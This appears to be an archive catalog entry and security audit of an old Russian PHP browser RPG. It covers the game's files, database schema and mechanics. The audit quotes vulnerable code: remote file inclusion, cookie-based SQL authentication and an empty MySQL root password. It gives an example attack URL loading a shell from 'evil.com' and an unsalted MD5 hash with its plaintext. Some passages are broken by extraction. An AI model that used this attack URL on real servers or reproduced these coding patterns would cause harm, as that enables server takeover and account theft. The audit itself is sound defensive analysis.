Step into a sprawling Russian fantasy RPG where clans rise, warriors duel, and cities bustle with blacksmiths, academies, prisons, vaults, and markets. Dark Game packs deep character progression across seven core attributes, 22 equipment slots, real-time PvP battles, and a labyrinth of locations—from forest hunts and dungeon vaults to bustling commission shops and craft halls.
Master the systems and the city bows. Build guilds, craft gear, cast magic, work jobs, and race up rankings while managing stamina, injuries, cooldowns, and aura effects. With rich drops, clan treasuries, banking and lotteries, and a battle system built for momentum, Dark Game delivers the high-content, high-stakes cadence of a feature-rich browser MMORPG.
Game Name: DarkGame
Genre: Russian Browser RPG/MMORPG (Character Progression, PvP Combat, Guild System)
Technology Stack: PHP (4.x/5.x), MySQL, JavaScript, CSS, Flash (SWF)
Database: MySQL with 66 tables (webserv database)
Total Files: 2,948 files (14.87 MB)
Architecture: Frameset-based with separate main/chat/battle interfaces
License: Custom/unlicensed (modified by "ROCKER")
Development Status: Active server snapshot (dark.tritongame.net)
Installation: Manual (Baza.sql database import)
Historical Context: 2008-2010 era Russian browser RPG, references aw-game.ru
Version: Unclear (version.php shows "MOD by ROCKER")
Primary Language: Russian (Cyrillic charset: windows-1251)
Evidence of Use: 33 INSERT statements including Bot0 player (MD5: e10adc3949ba59abbe56e057f20f883e = "123456"), ADMINS tribe with 99,970 treasury
| File Type | Count | Total Size | Percentage | Purpose |
|---|---|---|---|---|
| .gif | 1,896 | 4.443 MB | 29.9% | UI icons, sprites, animations |
| .png | 383 | 5.281 MB | 35.5% | Images, interface elements, graphics |
| .php | 372 | 1.345 MB | 9.0% | Game logic, pages, systems |
| .jpg | 233 | 2.773 MB | 18.6% | Photos, backgrounds, portraits |
| .css | 29 | 0.105 MB | 0.7% | Stylesheets |
| .js | 17 | 0.108 MB | 0.7% | JavaScript (show_inf.js, time.js, hero.js, login_form.js) |
| .html | 7 | 0.016 MB | 0.1% | Static HTML pages (smiles.html, buyekr.html) |
| .swf | 4 | 0.374 MB | 2.5% | Flash components (animations/ads) |
| .ani | 2 | 0.031 MB | 0.2% | Animated cursor files |
| .sql | 1 | 0.383 MB | 2.6% | Database schema (66 tables) |
| .ico | 1 | 0.003 MB | 0.02% | Favicon |
| .htm | 1 | 0.001 MB | 0.01% | HTML file |
| .dat | 1 | 0.002 MB | 0.01% | Data file |
| (no ext) | 1 | 0.002 MB | 0.01% | Unknown file |
| TOTAL | 2,948 | 14.87 MB | 100% | Complete game package |
Analysis: Graphics-dominated distribution (83.9% images: 35.5% PNG, 29.9% GIF, 18.6% JPG) indicates highly polished visual presentation. 372 PHP files (most in collection so far) suggests complex, feature-rich game. Flash usage (4 SWF files) and .ani cursor files reveal 2008-2010 development era. Database is substantial (383 KB SQL file with 66 tables vs typical 24-30 in other games). Russian language throughout (windows-1251 charset).
mysql_* functions, mysql_pconnect()) tags in game.php, 3-frame layout)`
DarkGame/
├── baza/
│ └── Baza.sql # 66 tables, 383 KB
├── config/
│ ├── config.php # DB connection (localhost, root, webserv)
│ ├── time.php # Time utilities
│ ├── sql.php # SQL injection防止
│ ├── reg/mail.php # Registration email
│ └── site/*.php # Content pages (news, faq, etc.)
├── city/
│ ├── shop/ # 24 shop-related files (buy, sell, craft)
│ ├── sclad/ # Warehouse system
│ ├── komis/ # Commission shop
│ ├── bs/ # Battle system subdirectory
│ ├── games/ # Mini-games
│ ├── quest/ # Quest system
│ ├── bank/ # Banking system
│ └── [40+ location files] (academy.php, ambulance.php, forest.php, prison.php, vault.php, works.php)
├── person/
│ ├── func/ # Player functions (inf.php, changed.php)
│ ├── set/ # Settings pages (main.php, work.php, quests.php, version.php)
│ ├── person.php # Character sheet (359 lines)
│ └── header.php # Interface header
├── frames/ # Frameset components
├── function/ # Utility functions
├── includes/
│ ├── battle/ # Battle system (battle.php, offers/)
│ ├── magic/ # Magic system (use.php, abils/)
│ └── inf/ # Information displays (player.php, inf.php)
├── img/
│ ├── game/ # Game graphics (main/, css/, js/)
│ ├── indexx/ # Index page assets (874.css)
│ ├── images/ # UI images (refresh.gif, back.gif)
│ └── [1,896+ image files]
├── battle.php # Combat interface
├── chat.php # Chat system
├── game.php # Main frameset (251 lines)
├── main.php # Core game interface
├── enter.php # Login processor
├── index.php # Public homepage (145 lines)
├── guard.php # City guard/police system
├── online.php # Online players
├── clan_inf.php # Clan information
├── tribe_logs.php # Tribe/guild logs
├── view_logs.php # Battle log viewer
├── refer.php # Referral system
├── go_sp.php # Direct player link
├── perevod.php # Translation/transfer
├── encicl.php # Encyclopedia (items)
├── inf.php # Player information
├── lostpwd.php # Password recovery
├── exp.php # Experience table
└── phpinfo.php # PHP configuration (SECURITY RISK)
`
DarkGame is a persistent Russian browser RPG where players:
objects.inf field uses | separators for properties (e.g., 0|0|0|0|0|0|0|0|0|0|0)travma > $now) prevents combat, forces hospital visitreit field calculated from: ((($s_p/1000)+($s_s/10))*$s_i)+($stat[level]/2) where s_p=item power, s_s=stat sum, s_i=win rate66 Tables Identified (most complex in collection):
| Table | Purpose | Key Features | ||||
|---|---|---|---|---|---|---|
| person | Player accounts | 130+ fields: id, user, pass (MD5), rank (1-60+ levels), admin, bloked, level, exp, credits, f_credits, 7 attributes, hp_now/max, energy_now, s_updates, o_updates, wins/losses/drawn, room (location), ip/last_ip, tribe/tribe_rank, birth/birthdate, sex, battle, last_battle, offer, obraz (portrait?), proff, proff_exp, sign, travma, vault_room/time/move, ustal_now (stamina), semija, sclon, golos, status, reit, drop, vip, avatar, bog_dark/light, kwest0/1, podzem1, guild, refer, aura, location, bs/bs_loc, x/y coordinates | ||||
| person_har | Character stats | p_id, extended character attributes | ||||
| person_inf | Additional info | Extended player metadata | ||||
| objects | Player items | user, inf (pipe-delimited stats: type | prop1 | prop2 | ... | prop11) |
| slots | Equipment | ID, 22 slot fields (slots.1 to slots.22) - largest slot count observed | ||||
| slots_priem | Slot management | Equipment change tracking | ||||
| items | Item definitions | Item types, properties, stats | ||||
| complects | Equipment sets | Bonus for wearing full set | ||||
| sclad | Warehouse | Player storage separate from inventory | ||||
| tribes | Guilds/clans | name, url, about, sclon, name_short, points, kazna (treasury: 99,970 for ADMINS) | ||||
| tribe_log | Guild logs | Activity tracking | ||||
| tribe_news | Guild news | Announcements | ||||
| guilds | Guild types | id_guild, name (1=Alchemists, 2=Warriors) | ||||
| levels | Experience table | up (tier?), level, exp thresholds | ||||
| abils | Abilities | Skill definitions | ||||
| magic | Spells | Magic system | ||||
| battles | Combat history | Battle records | ||||
| battle_clons | Clone battles | Duplicate/bot battles | ||||
| battle_drop | Battle loot | Drop tables for PvP kills | ||||
| participants | Battle roster | Who fought in which battle | ||||
| bs | Battle system | Extended battle mechanics | ||||
| bs_map | Battle map | Arena layouts | ||||
| bs_obj | Battle objects | Items in combat | ||||
| bs_winner | Battle victors | Win records | ||||
| offers | Battle offers | Challenge system (6 battle types) | ||||
| chat | Chat messages | Global/clan chat | ||||
| pochta | Mail/messages | Private messaging (pochta = mail in Russian) | ||||
| forums | Forum categories | Discussion boards | ||||
| topics | Forum topics | Thread listings | ||||
| posts | Forum posts | Message content | ||||
| friends | Friend lists | Social connections | ||||
| shop | Shop items | Purchasable goods | ||||
| shop1 | Shop variant | Alternative shop | ||||
| mshop | Micro-shop | Premium store | ||||
| butik | Boutique | Cosmetic/VIP items | ||||
| komis | Commission shop | Player-to-player sales | ||||
| craft | Crafting | Item creation | ||||
| diller | Dealer | NPC merchant | ||||
| bank | Banking | Currency storage | ||||
| bank_transfers | Transactions | Transfer history | ||||
| birja | Exchange | Currency/item trading | ||||
| billing | Payments | Real money transactions | ||||
| moneys | Currency types | Multiple currency system? | ||||
| vault | Vault storage | Secure item storage | ||||
| vault_sessions | Vault access | Timed vault access control | ||||
| works | Jobs | Work system (getproff/getm types) | ||||
| priem | Reception | Item transfers? | ||||
| prizes | Rewards | Award system | ||||
| academy | Training | Skill leveling | ||||
| lotto | Lottery | Gambling | ||||
| lotto_fond | Lottery pool | Prize fund | ||||
| lotto_winner | Winners | Lottery history | ||||
| slots | Slot machines | Casino gambling | ||||
| phaos_locations | Locations | World map (Phaos reference - ancient RPG engine) | ||||
| locations | World areas | Game world structure | ||||
| les | Forest | Resource gathering | ||||
| ld | Unknown | (Possibly "лес день" = forest day?) | ||||
| inc_prov | Incoming | Attack notifications? | ||||
| top | Rankings | Leaderboards | ||||
| game_config | Game settings | Server configuration | ||||
| game_news | News | Announcements | ||||
| security | Security logs | Anti-cheat, IP tracking | ||||
| ban | Ban list | Blocked users | ||||
| lostpwd | Password recovery | Reset tokens | ||||
| transfers | Transfers | General transfer system | ||||
| perevod | Translation/transfer | Russian: перевод = transfer | ||||
| drop | Drop tables | Generic loot system |
Database Activity Evidence:
checkVars() methodWHERE user='".$_COOKIE['user']."' AND pass='".$_COOKIE['pass']."' - cookies are trivially editablemysql_pconnect(), mysql_query() removed in PHP 7.0mysql_pconnect("localhost","root","") - empty root password!WHERE rank>=$_GET['rank'] (integer validation only)select * from person".$where."" (where clause concatenation)@include($_GET['q']); - CRITICAL remote file inclusion!// CRITICAL: Remote File Inclusion (battle.php:7)
@include($_GET['q']); // Attacker can include any PHP file!
// Cookie-based auth (battle.php:16)
$stat = mysql_fetch_array(mysql_query("SELECT * FROM person WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
// Cookies can be edited in browser - no server-side session validation
// Root user with empty password (config.php:3)
$link=mysql_pconnect("localhost","root","");
// Deprecated function (config.php:5)
mysql_query("SET CHARSET cp1251"); // Should use MySQLi/PDO
// Weak validation (person.php:10)
if (preg_match("/^[0-4]$/", $_POST['update_status'])){ // Only checks format, not authorization
Overall Code Quality: 2.5/10
Critical Showstoppers:
@include($_GET['q']) allows arbitrary code execution - INSTANT PWNINGPath to Modernization:
Total Modernization Cost: $123,000-153,000
This is the highest modernization cost in the collection due to:
1. Remote File Inclusion - RFI (CVSS 10.0 - Critical)
// battle.php:7
@include($_GET['q']);
// Attacker URL: http://dark.tritongame.net/battle.php?q=http://evil.com/shell.php
// Result: Arbitrary PHP code execution, full server compromise
Impact: Complete server takeover, database theft, malware distribution, botnet recruitment
2. Cookie-Based Authentication Bypass (CVSS 9.1 - Critical)
// battle.php:16, chat.php:15, 50+ files
$stat = mysql_fetch_array(mysql_query("SELECT * FROM person WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
// Attacker: Edit cookies to user=admin, pass=<MD5 hash from DB leak>
// Result: Instant admin access, no session validation
Impact: Account takeover, privilege escalation to admin (rank 1), item/credit theft
3. Root Database Access (CVSS 8.9 - High)
// config.php:3
$link=mysql_pconnect("localhost","root","");
// Empty root password grants full MySQL access
Impact: Database dump, CREATE/DROP any database, server-wide MySQL control
4. phpinfo() Disclosure (CVSS 7.5 - High)
5. MD5 Passwords (CVSS 7.4 - High)
-- Baza.sql
('Bot0', 'e10adc3949ba59abbe56e057f20f883e', ...)
-- MD5('123456') = e10adc3949ba59abbe56e057f20f883e
-- No salt, rainbow tables crack 60%+ of passwords instantly
Impact: Mass account compromise via database leak or SQL injection
6. SQL Injection (CVSS 8.2 - High)
Despite InitVars protection, residual vulnerabilities:
// inf.php:33
$query = mysql_query("select * from person".$where."");
// $where concatenation bypasses sanitization
// guard.php:126
$SostQuery=mysql_query("SELECT ... WHERE (rank>=10 && rank<=14) || rank>=".$_GET['rank']." ...");
// Integer-only validation insufficient for complex WHERE clauses
Impact: Database exfiltration, authentication bypass, data manipulation
7. XSS in Chat/Forums (CVSS 6.5 - Medium)
Impact: Session hijacking via JavaScript injection, phishing
Security Rating: 0.5/10 (Catastrophic - Active Exploitation Guaranteed)
objects.inf field with | separators = flexible property system without JOIN tables((($s_p/1000)+($s_s/10))*$s_i)+($stat[level]/2) = complex rating from items, stats, win rateIn 2008-2010 context: DarkGame was a top-tier Russian BBRPG with 22 equipment slots, complex guild system, and rich progression. Competed with Бойцовский Клуб (Boytsovskiy Klub), Легенда (Legenda), and other Russian browser RPGs.
In 2025 context: Historical artifact with innovative mechanics (22 slots, pipe-delimited stats, room states) buried under critical security failures. Frameset UI, CP1251 charset, and RFI vulnerability make it undeployable.
Final Innovation Score: 6.5/10
Verdict: DO NOT DEPLOY - CRIMINAL NEGLIGENCE RISK
Why This Game is Legally/Ethically Undeployable:
Why $150,000 Modernization Exceeds Value:
1. Mechanic Salvage ($0 - Academic Exercise)
Extract innovative systems for new project:
2. Security Audit Training ($5,000-10,000)
Use codebase as penetration testing education:
3. Open-Source Posthumous Release (NOT RECOMMENDED)
Could release as "educational" code, but:
This game requires $150,000+ investment for:
ROI Analysis: $150,000 investment in 2025 browser RPG = negative 90% return
Preserve mechanics documentation, archive screenshots, DELETE CODE.
DarkGame represents the pinnacle of 2008-2010 Russian browser RPG ambition with 66 tables, 22 equipment slots, and rich progression systems. However, the RFI vulnerability (battle.php:7), root MySQL access, and cookie authentication make it a ticking time bomb that would explode within 24 hours of public deployment.
Historical Value:
Modern Reality:
Preserve the ideas, not the code.
---
This software contains a CRITICAL Remote File Inclusion (RFI) vulnerability that allows instant server compromise. Deployment would be criminally negligent.
Security Disaster Level: CVSS 10.0 (Maximum). Modernization Cost: $150,000+ (highest in collection). Recommendation: Preserve ideas, never deploy code.
DarkGame is a feature-rich 2008-2010 Russian browser RPG with 2,948 files (372 PHP files, 2,179 images), 66 database tables (most complex in collection), and innovative mechanics including 22 equipment slots, travma injury cooldowns, room-based state management, and a sophisticated reit rating formula. Hosted on dark.tritongame.net, the game snapshot includes Bot0 test account (registered March 21, 2010), ADMINS tribe with 99,970 treasury, and production-ready database structure. However, the codebase contains catastrophic security failures: Remote File Inclusion (battle.php:7 @include($_GET['q'])), cookie-based authentication without session validation, root MySQL access with empty password, MD5 password hashing, and exposed phpinfo.php. Security rating: 0.5/10 - guaranteed exploitation. Modernization cost: $150,000+ exceeds building modern replacement. Innovation rating: 6.5/10 for mechanical creativity (22 slots, pipe-delimited item stats, stamina economy, god favor system) marred by security negligence. Modern viability: 0.5/5 - RFI vulnerability alone makes deployment criminally negligent. Recommendation: Archive mechanics documentation as historical record of Russian BBRPG design, never deploy code publicly. This is the most feature-complete but least secure game in the collection - a cautionary tale of ambition without security discipline.
| Category | Visual Rating | Score | Assessment |
|---|---|---|---|
| Innovation | 6.5/10 | 22 slots, travma system, reit formula, pipe-delimited stats creative | |
| Security | 0.5/10 | CVSS 10.0 RFI + cookie auth + root MySQL = instant compromise | |
| Code Quality | 2.5/10 | Ambitious scope (372 files) undermined by critical flaws | |
| Feature Completeness | 5/5 | Most complete game in collection (66 tables, 22 slots, quests, tribes) | |
| Modern Viability | 0.5/5 | RFI vulnerability = deployment is criminal negligence | |
| Modernization Cost | $150k+ | HIGHEST in collection - exceeds building from scratch | |
| Historical Value | 4/5 | Peak 2008-2010 Russian BBRPG era, dark.tritongame.net snapshot | |
| Database Complexity | 66 tables | Most complex schema in collection - ambitious data modeling | |
| Overall Verdict |
F (DANGEROUS) |
Archive mechanics only - NEVER deploy source code | |
Running many of the scripts in this archive on a live server presents a serious security risk. These projects were created before modern hardening practices and may contain vulnerabilities that can compromise your system.
We strongly recommend using this code for reference and analysis only, or in isolated local environments. By downloading these files, you accept full responsibility for their use.